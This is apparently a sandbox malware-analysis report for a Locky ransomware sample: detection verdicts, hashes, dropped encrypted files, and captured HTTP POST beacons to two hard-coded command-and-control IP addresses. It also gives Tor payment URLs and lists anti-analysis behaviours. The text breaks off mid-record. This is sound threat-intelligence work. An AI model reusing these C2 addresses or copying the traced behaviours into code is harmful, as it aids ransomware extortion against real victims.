24:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/3fc9w1ah_nm2g.js"],"SampleDetailWrapper"] 29:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T487,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan.Generic Sample 21f1e2615a53… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 21f1e2615a53…. Malware family: Trojan.Generic. Threat score 100/100. 22/26 AV engines flagged this file. 7 malicious and 16 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/21f1e2615a5359c88b6df2115afe16819f4adb2be125b0a73244b86ba4d59792","keywords":["Malicious","Trojan.Generic","malware analysis","sandbox report","threat intelligence","21f1e2615a5359c88b6df2115afe16819f4adb2be125b0a73244b86ba4d59792"],"about":{"@type":"SoftwareApplication","name":"malware1.exe","applicationCategory":["peexe","executable"],"identifier":"21f1e2615a5359c88b6df2115afe16819f4adb2be125b0a73244b86ba4d59792","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Trojan.Generic","antivirusDetections":{"malicious":22,"total":26},"behavioralIndicators":{"malicious":7,"suspicious":16},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T59b,"32C0D883E1644D0A6E00AEAEB8522CFF.locky" has type "data" "_HELP_instructions.html" has type "HTML document UTF-8 Unicode text with CRLF LF line terminators" "32C0D883E1644D0AFB051735EB1DB37B.locky" has type "XML document text" "32C0D883E1644D0A509F9F19E4A158F0.locky" has type "XML document text" "32C0D883E1644D0A6D062D292B9B1EC5.locky" has type "XML document text" "32C0D883E1644D0A04694CFCA05E7274.locky" has type "XML document text" "32C0D883E1644D0A03DA040AAFAAC324.locky" has type "XML document text" "32C0D883E1644D0A7FE6D8CD8D21A259.locky" has type "XML document text" "32C0D883E1644D0A9C047C2E923581CC.locky" has type "XML document text" "32C0D883E1644D0A2BA065E17304EA4D.locky" has type "XML document text" "32C0D883E1644D0A885996A2B0598955.locky" has type "XML document text" "32C0D883E1644D0A227A0A5222383AE5.locky" has type "XML document text" "32C0D883E1644D0A8C2FD5B7262C13BD.locky" has type "XML document text" "32C0D883E1644D0A6DB96643D47BCBCC.locky" has type "XML document text" "32C0D883E1644D0A8EC0D26F87564896.locky" has type "XML document text" "32C0D883E1644D0AEA23DA30D2138123.locky" has type "XML document text" "32C0D883E1644D0A66B68718A67CED99.locky" has type "XML document text" "32C0D883E1644D0AF3DF19ECE784C244.locky" has type "XML document text" "32C0D883E1644D0AC5B33FED7C86B562.locky" has type "XML document text" "32C0D883E1644D0AB172968D1AAF6F2E.locky" has type "XML document text"26:T720,"POST /userinfo.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 83.217.8.155 Content-Length: 408 Connection: Keep-Alive Cache-Control: no-cache" with no payload "POST /userinfo.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 83.217.8.155 Content-Length: 220 Connection: Keep-Alive Cache-Control: no-cache" with no payload "POST /userinfo.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 83.217.8.155 Content-Length: 174 Connection: Keep-Alive Cache-Control: no-cache" with no payload "POST /userinfo.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 83.217.8.155 Content-Length: 227 Connection: Keep-Alive Cache-Control: no-cache" with no payload "POST /userinfo.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 51.254.240.60 Content-Length: 227 Connection: Keep-Alive Cache-Control: no-cache" with no payload27:T894,"" opened "UNC\192.168.56.1\VM11\VxStream\libs\commons-io-2.4.jar" with delete access "" opened "UNC\192.168.56.1\VM11\VxStream\libs\spring-core-4.0.5.RELEASE.jar" with delete access "" opened "UNC\192.168.56.1\VM11\VxStream\libs\spring-beans-4.0.5.RELEASE.jar" with delete access "" opened "UNC\192.168.56.1\VM11\VxStream\libs\commons-logging-1.1.3.jar" with delete access "" opened "UNC\192.168.56.1\VM11\VxStream\libs\jcommander-1.35.jar" with delete access "" opened "UNC\192.168.56.1\VM11\VxStream\libs\log4j-1.2.17.jar" with delete access "" opened "UNC\192.168.56.1\VM11\VxStream\libs\spring-context-4.0.5.RELEASE.jar" with delete access "" opened "UNC\192.168.56.1\VM11\VxStream\libs\VxUtils.jar" with delete access "" opened "UNC\192.168.56.1\VM11\VxStream\libs\spring-expression-4.0.5.RELEASE.jar" with delete access "" opened "UNC\192.168.56.1\VM11\VxStream\libs\spring-context-support-4.0.5.RELEASE.jar" with delete access "" opened "UNC\192.168.56.1\VM11\icon.png" with delete access "" opened "c:\autoexec.bat" with delete access "" opened "c:\MSOCache\All Users\{90120000-0015-0407-0000-0000000FF1CE}-C\AccessMUI.xml" with delete access "" opened "c:\MSOCache\All Users\{90120000-0015-0407-0000-0000000FF1CE}-C\Setup.xml" with delete access "" opened "c:\MSOCache\All Users\{90120000-0016-0407-0000-0000000FF1CE}-C\ExcelMUI.xml" with delete access "" opened "c:\MSOCache\All Users\{90120000-0016-0407-0000-0000000FF1CE}-C\Setup.xml" with delete access "" opened "c:\MSOCache\All Users\{90120000-0018-0407-0000-0000000FF1CE}-C\PowerPointMUI.xml" with delete access "" opened "c:\MSOCache\All Users\{90120000-0018-0407-0000-0000000FF1CE}-C\Setup.xml" with delete access "" opened "c:\MSOCache\All Users\{90120000-0019-0407-0000-0000000FF1CE}-C\PublisherMUI.xml" with delete access "" opened "c:\MSOCache\All Users\{90120000-0019-0407-0000-0000000FF1CE}-C\Setup.xml" with delete access28:T1642,Found dropped filename "32C0D883E1644D0A6E00AEAEB8522CFF.locky" which has been seen in the context of ransomware Found dropped filename "32C0D883E1644D0AFB051735EB1DB37B.locky" which has been seen in the context of ransomware Found dropped filename "32C0D883E1644D0A509F9F19E4A158F0.locky" which has been seen in the context of ransomware Found dropped filename "32C0D883E1644D0A6D062D292B9B1EC5.locky" which has been seen in the context of ransomware Found dropped filename "32C0D883E1644D0A04694CFCA05E7274.locky" which has been seen in the context of ransomware Found dropped filename "32C0D883E1644D0A03DA040AAFAAC324.locky" which has been seen in the context of ransomware Found dropped filename "32C0D883E1644D0A7FE6D8CD8D21A259.locky" which has been seen in the context of ransomware Found dropped filename "32C0D883E1644D0A9C047C2E923581CC.locky" which has been seen in the context of ransomware Found dropped filename "32C0D883E1644D0A2BA065E17304EA4D.locky" which has been seen in the context of ransomware Found dropped filename "32C0D883E1644D0A885996A2B0598955.locky" which has been seen in the context of ransomware Found dropped filename "32C0D883E1644D0A227A0A5222383AE5.locky" which has been seen in the context of ransomware Found dropped filename "32C0D883E1644D0A8C2FD5B7262C13BD.locky" which has been seen in the context of ransomware Found dropped filename "32C0D883E1644D0A6DB96643D47BCBCC.locky" which has been seen in the context of ransomware Found dropped filename "32C0D883E1644D0A8EC0D26F87564896.locky" which has been seen in the context of ransomware Found dropped filename "32C0D883E1644D0AEA23DA30D2138123.locky" which has been seen in the context of ransomware Found dropped filename "32C0D883E1644D0A66B68718A67CED99.locky" which has been seen in the context of ransomware Found dropped filename "32C0D883E1644D0AF3DF19ECE784C244.locky" which has been seen in the context of ransomware Found dropped filename "32C0D883E1644D0AC5B33FED7C86B562.locky" which has been seen in the context of ransomware Found dropped filename "32C0D883E1644D0AB172968D1AAF6F2E.locky" which has been seen in the context of ransomware Found dropped filename "32C0D883E1644D0A88D3E2DFB23254B4.locky" which has been seen in the context of ransomware Found dropped filename "32C0D883E1644D0A27363E48721242A5.locky" which has been seen in the context of ransomware Found dropped filename "32C0D883E1644D0AE8393FBB0D640C4C.locky" which has been seen in the context of ransomware Found dropped filename "32C0D883E1644D0A7F85473C2A5ED567.locky" which has been seen in the context of ransomware Found dropped filename "32C0D883E1644D0A23D1EC8096334946.locky" which has been seen in the context of ransomware Found dropped filename "32C0D883E1644D0AB7AA3750FE198F2F.locky" which has been seen in the context of ransomware Found dropped filename "32C0D883E1644D0ACDBE274E5DA9BBD7.locky" which has been seen in the context of ransomware Found dropped filename "32C0D883E1644D0ACA39EA3681C2F693.locky" which has been seen in the context of ransomware Found dropped filename "32C0D883E1644D0ABA17034EF147467A.locky" which has been seen in the context of ransomware Found dropped filename "32C0D883E1644D0A10D40D0A84944669.locky" which has been seen in the context of ransomware Found dropped filename "32C0D883E1644D0ADEAF0C91DC47E574.locky" which has been seen in the context of ransomware Found dropped filename "32C0D883E1644D0A864A3A76A48709DD.locky" which has been seen in the context of ransomware Found dropped filename "32C0D883E1644D0A485CA12BEBA44C4D.locky" which has been seen in the context of ransomware Found dropped filename "32C0D883E1644D0A18C6BEA56B9AE620.locky" which has been seen in the context of ransomware Found dropped filename "32C0D883E1644D0AA6FAE37E8543D890.locky" which has been seen in the context of ransomware Found dropped filename "32C0D883E1644D0AE7B20F93C960172D.locky" which has been seen in the context of ransomware Found dropped filename "32C0D883E1644D0A27B21575AF23C7E4.locky" which has been seen in the context of ransomware Found dropped filename "32C0D883E1644D0A7CF54564F0269758.locky" which has been seen in the context of ransomware Found dropped filename "32C0D883E1644D0A1E0F82CD81B47B23.locky" which has been seen in the context of ransomware Found dropped filename "32C0D883E1644D0A38E4B257EE124A05.locky" which has been seen in the context of ransomware Found dropped filename "32C0D883E1644D0AE744ED45630C5282.locky" which has been seen in the context of ransomware Found dropped filename "32C0D883E1644D0AC661825A905B7056.locky" which has been seen in the context of ransomware Found dropped filename "32C0D883E1644D0A5682046E8D8E2822.locky" which has been seen in the context of ransomware Found dropped filename "32C0D883E1644D0A656057C667BB3418.locky" which has been seen in the context of ransomware Found dropped filename "32C0D883E1644D0AF678001645E9E236.locky" which has been seen in the context of ransomware Found dropped filename "32C0D883E1644D0A18AE98FD9409F227.locky" which has been seen in the context of ransomware Found dropped filename "32C0D883E1644D0A2FBDD706F0BFA107.locky" which has been seen in the context of ransomware Found dropped filename "32C0D883E1644D0A1A6003385A6F702E.locky" which has been seen in the context of ransomware Found dropped filename "32C0D883E1644D0A85943D8CFC94DE0D.locky" which has been seen in the context of ransomware Found dropped filename "32C0D883E1644D0A8FB35D94CA326BA7.locky" which has been seen in the context of ransomware Found dropped filename "32C0D883E1644D0AD054476329FED1EC.locky" which has been seen in the context of ransomware1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"21f1e2615a5359c88b6df2115afe16819f4adb2be125b0a73244b86ba4d59792","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790892256013,"unified_at":"2026-10-01T22:04:16.013Z","metadata":{"hashes":{"sha256":"21f1e2615a5359c88b6df2115afe16819f4adb2be125b0a73244b86ba4d59792","sha1":"de9af9bca751bf01922d64a27f067f188907e04f","md5":"8271093e0e78574428bbddda6f34a980","sha512":"91a19005bca68971cf00fb9a93ab283f01331c60d86d792598670a51059809911bfae2fbe18f921bf4da8a4263227daceb0527f8f49e5fcbb0e97697bbab2529","ssdeep":"3072:VBkifpp1CQPS++ZbwVNKoOE5u3w7O0wZyWSmqTIaTwtiDJ/NTt/n:gifpp1XqDbwVwilwZODVkid5tv","ssdeep_chunks":["3072:VBkifpp","3072:Bkifpp1","3072:kifpp1C","3072:ifpp1CQ","3072:fpp1CQP","3072:pp1CQPS","3072:p1CQPS+","3072:1CQPS++","3072:CQPS++Z","3072:QPS++Zb","3072:PS++Zbw","3072:S++ZbwV","3072:++ZbwVN","3072:+ZbwVNK","3072:ZbwVNKo","3072:bwVNKoO","3072:wVNKoOE","3072:VNKoOE5","3072:NKoOE5u","3072:KoOE5u3","3072:oOE5u3w","3072:OE5u3w7","3072:E5u3w7O","3072:5u3w7O0","3072:u3w7O0w","3072:3w7O0wZ","3072:w7O0wZy","3072:7O0wZyW","3072:O0wZyWS","3072:0wZyWSm","3072:wZyWSmq","3072:ZyWSmqT","3072:yWSmqTI","3072:WSmqTIa","3072:SmqTIaT","3072:mqTIaTw","3072:qTIaTwt","3072:TIaTwti","3072:IaTwtiD","3072:aTwtiDJ","3072:TwtiDJ/","3072:wtiDJ/N","3072:tiDJ/NT","3072:iDJ/NTt","3072:DJ/NTt/","3072:J/NTt/n","6144:VBkifpp","6144:Bkifpp1","6144:kifpp1C","6144:ifpp1CQ","6144:fpp1CQP","6144:pp1CQPS","6144:p1CQPS+","6144:1CQPS++","6144:CQPS++Z","6144:QPS++Zb","6144:PS++Zbw","6144:S++ZbwV","6144:++ZbwVN","6144:+ZbwVNK","6144:ZbwVNKo","6144:bwVNKoO","6144:wVNKoOE","6144:VNKoOE5","6144:NKoOE5u","6144:KoOE5u3","6144:oOE5u3w","6144:OE5u3w7","6144:E5u3w7O","6144:5u3w7O0","6144:u3w7O0w","6144:3w7O0wZ","6144:w7O0wZy","6144:7O0wZyW","6144:O0wZyWS","6144:0wZyWSm","6144:wZyWSmq","6144:ZyWSmqT","6144:yWSmqTI","6144:WSmqTIa","6144:SmqTIaT","6144:mqTIaTw","6144:qTIaTwt","6144:TIaTwti","6144:IaTwtiD","6144:aTwtiDJ","6144:TwtiDJ/","6144:wtiDJ/N","6144:tiDJ/NT","6144:iDJ/NTt","6144:DJ/NTt/","6144:J/NTt/n","3072:gifpp1X","3072:ifpp1Xq","3072:fpp1XqD","3072:pp1XqDb","3072:p1XqDbw","3072:1XqDbwV","3072:XqDbwVw","3072:qDbwVwi","3072:DbwVwil","3072:bwVwilw","3072:wVwilwZ","3072:VwilwZO","3072:wilwZOD","3072:ilwZODV","3072:lwZODVk","3072:wZODVki","3072:ZODVkid","3072:ODVkid5","3072:DVkid5t","3072:Vkid5tv"],"imphash":"a761745c18c06d243843adabc189b7c5"},"file_info":{"file_name":"malware1.exe","file_type":["peexe","executable"],"file_type_id":"exe","file_size":226816,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1499294699000,"last_seen":1662561485000,"last_multi_scan":1662561485000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":null},"stats":{"av":{"malicious_count":22,"suspicious_count":0,"total_engines":26},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":0},"sandbox_signatures":{"informative_count":10,"suspicious_count":16,"malicious_count":7,"total":33},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"aegislab":{"name":"AegisLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Win-Trojan/Lockycrypt.Gen","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan[Ransom]/Win32.Locky.genc","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"HEUR/AGEN.1240493","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Gen:Heur.Mint.Dreidel.nu0@yG@JDvdi","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"malicious","threat_name":"TrojWare.Win32.Ransom.Locky.EXA","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"cyren":{"name":"Cyren","success":true,"verdict":"malicious","threat_name":"W32/Locky.Z.gen!Eldorado","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Gen:Heur.Mint.Dreidel.nu0@yG@JDvdi (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"Win32/Filecoder.Locky.B trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ikarus":{"name":"IKARUS","success":true,"verdict":"malicious","threat_name":"Trojan-Ransom.Locky","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Trojan ( 004e11c11 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"kaspersky":{"name":"Kaspersky","success":true,"verdict":"malicious","threat_name":"Trojan-Ransom.Win32.Locky.so","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"malicious","threat_name":"Ransomware-FJB!8271093E0E78","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Encoder.ebzdxu","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"quickheal":{"name":"Quick Heal","success":true,"verdict":"malicious","threat_name":"Ransomware.Locky.WR5","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"scrutiny":{"name":"Scrutiny","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"malicious","threat_name":"Troj/Locky-BA","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"malicious","threat_name":"Trojan/W32.Locky.226816.D","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicro":{"name":"Trend Micro","success":true,"verdict":"malicious","threat_name":"Ransom_LOCKY.AI","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicrohousecall":{"name":"Trend Micro HouseCall","success":true,"verdict":"malicious","threat_name":"Ransom_LOCKY.AI","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Ransom_r.LB","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"malicious","threat_name":"BScope.Trojan.Encoder","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xvirusantimalware":{"name":"Xvirus Anti-Malware","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Trojan.Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"sandbox_signatures":[{"level":"informative","category":"Environment Awareness","name":"Contains ability to query machine time","description":"GetSystemTime@KERNEL32.DLL at 00141062-00003808-76F4228D-149516\n GetSystemTimeAsFileTime@KERNEL32.DLL at 00141062-00003808-76F4228D-149719","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-2","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query volume size","description":"GetDiskFreeSpaceExW@KERNEL32.DLL at 00141062-00003808-76F4228D-149471","origin":"Hybrid Analysis Technology","relevance":3,"id":"stream-37","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"83.217.8.155:80\"\n \"51.254.240.60:80\"","origin":"Network Traffic","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"level":"informative","category":"General","name":"Contains PDB pathways","description":"\"E:\\g55v\\0o6\\a2uah\\gjd3d4.pdb\"","origin":"File/Memory","relevance":1,"id":"string-7","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"Local\\_!MSFTHISTORY!_\"\n \"Local\\c:!users!pspubws!appdata!local!microsoft!windows!temporary internet files!content.ie5!\"\n \"Local\\c:!users!pspubws!appdata!roaming!microsoft!windows!cookies!\"\n \"Local\\c:!users!pspubws!appdata!local!microsoft!windows!history!history.ie5!\"\n \"Local\\WininetStartupMutex\"\n \"Local\\WininetConnectionMutex\"\n \"Local\\WininetProxyRegistryMutex\"","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"\"\" loaded module \"KERNEL32.DLL\" at base 76DA0000\n \"\" loaded module \"USER32.DLL\" at base 75A60000\n \"\" loaded module \"GDI32.DLL\" at base 75330000\n \"\" loaded module \"ADVAPI32.DLL\" at base 76C60000\n \"\" loaded module \"SHELL32.DLL\" at base 75B30000\n \"\" loaded module \"WININET.DLL\" at base 768D0000\n \"\" loaded module \"MPR.DLL\" at base 71960000\n \"\" loaded module \"NETAPI32.DLL\" at base 73760000\n \"\" loaded module \"URLMON.DLL\" at base 754C0000\n \"\" loaded module \"CRYPTSP.DLL\" at base 74AB0000\n \"\" loaded module \"%WINDIR%\\SYSTEM32\\RSAENH.DLL\" at base 74850000\n \"\" loaded module \"CRYPTBASE.DLL\" at base 74F80000\n \"\" loaded module \"COMCTL32.DLL\" at base 73EF0000","origin":"API Call","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"level":"informative","category":"General","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","description":"\"RtlCompressBuffer@ntdll.dll\"\n \"RtlDecompressBuffer@ntdll.dll\"\n \"RtlZeroMemory@ntdll.dll\"\n \"CryptDestroyHash@ADVAPI32.dll\"\n \"AccessCheck@ADVAPI32.dll\"\n \"MapGenericMask@ADVAPI32.dll\"\n \"DuplicateToken@ADVAPI32.dll\"\n \"OpenThreadToken@ADVAPI32.dll\"\n \"GetFileSecurityW@ADVAPI32.dll\"\n \"CryptGetKeyParam@ADVAPI32.dll\"\n \"CryptSetHashParam@ADVAPI32.dll\"\n \"CryptHashData@ADVAPI32.dll\"\n \"SetTokenInformation@ADVAPI32.dll\"\n \"OpenProcessToken@ADVAPI32.dll\"\n \"CryptCreateHash@ADVAPI32.dll\"\n \"CryptGetHashParam@ADVAPI32.dll\"\n \"RegSetValueExW@ADVAPI32.dll\"\n \"RegQueryValueExA@ADVAPI32.dll\"\n \"RegSetValueExA@ADVAPI32.dll\"\n \"RegDeleteValueA@ADVAPI32.dll\"","origin":"API Call","relevance":1,"id":"api-8","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"level":"informative","category":"Installation/Persistance","name":"Contains ability to lookup the windows account name","description":"LookupAccountNameLocalW@SECHOST.DLL at 00141062-00003808-76F4228D-189314","origin":"Hybrid Analysis Technology","relevance":5,"id":"stream-28","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"level":"informative","category":"Installation/Persistance","name":"Dropped files","description":"$25","origin":"Binary File","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Pattern match: \"http://en.wikipedia.org/wiki/RSA_(cryptosystem)\"\n Pattern match: \"http://en.wikipedia.org/wiki/Advanced_Encryption_Standard\"\n Pattern match: \"http://25z5g623wpqpdwis.tor2web.org/32C0D883E1644D0A\"\n Pattern match: \"http://25z5g623wpqpdwis.onion.to/32C0D883E1644D0A\"\n Pattern match: \"http://25z5g623wpqpdwis.onion.cab/32C0D883E1644D0A\"\n Pattern match: \"https://www.torproject.org/download/download-easy.html\"","origin":"File/Memory","relevance":10,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"level":"suspicious","category":"Anti-Detection/Stealthyness","name":"Sets the process error mode to suppress error box","description":"\"\" set its error mode to SEM_NOOPENFILEERRORBOX","origin":"API Call","relevance":8,"id":"api-38","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)","description":"SetUnhandledExceptionFilter@KERNEL32.DLL at 00141062-00003808-76F4228D-149671\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00141062-00003808-5905-77-00404ACB","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-4","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"PE file has unusual entropy sections","description":".text with unusual entropies 7.24444494409","origin":"Static Parser","relevance":10,"id":"static-6","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains ability to query the machine version","description":"GetVersionExA@KERNEL32.DLL at 00141062-00003808-76F4228D-149687\n GetVersion@KERNEL32.dll at 62035-1-00407E4A\n RasRpcGetVersion@RASMAN.DLL at 00141062-00003808-76F4228D-183068\n GetVersion@KERNEL32.DLL at 00141062-00003808-5905-1-00407E4A","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-3","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"level":"suspicious","category":"Environment Awareness","name":"Possibly tries to implement anti-virtualization techniques","description":"\"+.3gnqi_w`NjxGVivl:HwK:,QeMUt2DI*.NfI~EgH?'\\TEfi;61F 4ex}i;rym*>{<((y`Mf!wznOy-^Uj@L*rsJX~ -C&mf7p}q4W4I2k@,dkWIL[;Qhs%'+Y6[c\" (Indicator: \"qemu\")","origin":"File/Memory","relevance":4,"id":"string-1","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"level":"suspicious","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"\" (Path: 